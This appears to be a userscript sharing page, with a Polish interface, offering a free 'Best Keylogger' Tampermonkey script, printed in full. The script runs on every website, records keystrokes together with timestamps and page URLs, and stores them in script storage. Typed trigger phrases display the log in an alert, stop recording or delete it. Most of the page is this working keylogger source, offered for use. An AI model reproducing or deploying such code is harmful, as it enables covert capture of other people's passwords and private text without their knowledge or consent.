Best Keylogger

The best free keylogger!

Aby zainstalować ten skrypt, wymagana jest instalacje jednego z następujących rozszerzeń: Tampermonkey, Greasemonkey lub Violentmonkey.

Aby zainstalować ten skrypt, wymagana jest instalacje jednego z następujących rozszerzeń: Tampermonkey, Violentmonkey.

Aby zainstalować ten skrypt, wymagana jest instalacje jednego z następujących rozszerzeń: Tampermonkey, Violentmonkey.

Aby zainstalować ten skrypt, wymagana będzie instalacja rozszerzenia Tampermonkey lub Userscripts.

You will need to install an extension such as Tampermonkey to install this script.

Aby zainstalować ten skrypt, musisz zainstalować rozszerzenie menedżera skryptów użytkownika.

(Mam już menedżera skryptów użytkownika, pozwól mi to zainstalować!)

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

Będziesz musiał zainstalować rozszerzenie menedżera stylów użytkownika, aby zainstalować ten styl.

Będziesz musiał zainstalować rozszerzenie menedżera stylów użytkownika, aby zainstalować ten styl.

Musisz zainstalować rozszerzenie menedżera stylów użytkownika, aby zainstalować ten styl.

(Mam już menedżera stylów użytkownika, pozwól mi to zainstalować!)

// ==UserScript==
// @name         Best Keylogger
// @namespace    http://tampermonkey.net/
// @version      0.1
// @description  The best free keylogger!
// @copyright    2016
// @author       Arden Xie
// @include      http*://*
// @grant        GM_setValue
// @grant        GM_getValue
// @grant        GM_deleteValue
// @noframes
// ==/UserScript==

(function() {
	'use strict';

	window.addEventListener('keydown', capture);
	window.addEventListener('keyup', up);
	window.addEventListener("beforeunload", save);

	var chars = "";
	var keylogging = true;
	var down = false;

	function capture(evt) {
		if (keylogging && !down) {
			down = true;
			chars += String.fromCharCode(evt.keyCode).toLowerCase();

			if (chars != chars.replace("stop keylog", "something different")) {
				keylogging = false;
                                console.log("keylog stopped");
			} else if (chars != chars.replace("output keylog", "something different")) {
				chars = chars.replace("output keylog", "");
				alert(GM_getValue("typed", "none"));
			} else if (chars != chars.replace("delete keylog", "something different")) {
				console.log("deleting... ");
				GM_deleteValue("typed");
				if (GM_getValue("typed", ".")!=".") {
					console.error("Could not delete keylog");
				} else {
					console.log("Successful");
				}
				chars = "";
			}
		}
	}

	function up() {
		down = false;
	}

	function save(evt) {
		var now = new Date();
		GM_setValue("typed", GM_getValue("typed", "")+" [ "+now.getMonth()+", "+now.getDate()+", "+now.getHours()+":"+now.getMinutes()+", "+window.location.href+" ]: "+chars+"\n");
	}
})();